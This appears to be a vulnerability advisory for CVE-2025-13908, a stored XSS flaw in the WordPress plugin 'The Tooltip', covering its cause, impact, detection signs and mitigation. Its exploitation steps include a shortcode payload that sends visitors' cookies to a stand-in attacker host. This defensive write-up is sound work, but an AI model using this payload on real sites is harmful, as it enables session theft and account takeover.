CVE-2025-13908: 
WordPress vulnerability analysis and mitigation

CVE-2025-13908 is a Stored Cross-Site Scripting (XSS) vulnerability in the "The Tooltip" plugin for WordPress, affecting all versions up to and including 1.0.2. The flaw arises from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's the_tooltip shortcode. It was published on January 9, 2026, and assigned a CVSS v3.1 base score of 6.4 (Medium) by Wordfence (Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The root cause is that the plugin's the_tooltip shortcode handler fails to properly sanitize user-supplied attributes before rendering them in HTML output, allowing arbitrary JavaScript to be embedded in page content. An authenticated attacker with at least contributor-level access can craft a malicious shortcode and insert it into a post or page; the injected script then executes in the browsers of any user who visits the affected page. The vulnerable code is visible in the plugin source at line 92 of the-tooltip.php (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated contributor (or higher-privileged user) to persistently inject malicious JavaScript into WordPress pages, which executes in the context of every visitor's browser session. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further attacks against site administrators — potentially escalating to full site compromise if an admin account is hijacked. Confidentiality and integrity are both impacted (low severity each per CVSS), while availability is not directly affected (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13908. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability requires authenticated access at contributor level or above, which limits the attack surface compared to unauthenticated flaws. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Gain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on the target site running The Tooltip plugin ≤1.0.2.
2. Create or edit a post: Navigate to the WordPress editor and create or edit a post/page where shortcodes are rendered.
3. Inject malicious shortcode: Insert a crafted [the_tooltip] shortcode with a malicious attribute payload, for example: [the_tooltip tip="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"]Hover me[/the_tooltip].
4. Publish the content: Submit or update the post so the injected shortcode is stored in the database.
5. Trigger execution: When any site visitor (including administrators) loads the affected page, the unsanitized attribute is rendered into the HTML and the injected script executes in their browser, enabling session hijacking or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing the_tooltip shortcode with unusual attribute values (e.g., <script>, javascript:, encoded payloads).
• Database: Unexpected <script> tags or JavaScript URIs stored in wp_posts content fields associated with [the_tooltip] shortcode usage.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing the tooltip shortcode (indicative of data exfiltration).
• File System: No direct file-system artifacts expected for this stored XSS; however, review recently modified posts/pages in the CMS for injected shortcode content.

Site administrators should update The Tooltip plugin to a version beyond 1.0.2 that includes proper input sanitization and output escaping fixes. If an updated version is not yet available, the plugin should be deactivated and removed until a patch is released. As an interim measure, restrict contributor-level user registrations and audit existing contributor accounts for unauthorized content. Review all posts and pages containing [the_tooltip] shortcodes for signs of injected scripts (Wordfence).

The vulnerability was discovered and reported by Wordfence, which published the advisory on January 9, 2026. A brief mention appeared on Bluesky via automated CVE tracking accounts, and the vulnerability was indexed by several aggregator platforms (Vulners, VulDB, CVEFeed). No significant independent researcher commentary or major media coverage has been identified for this medium-severity plugin vulnerability.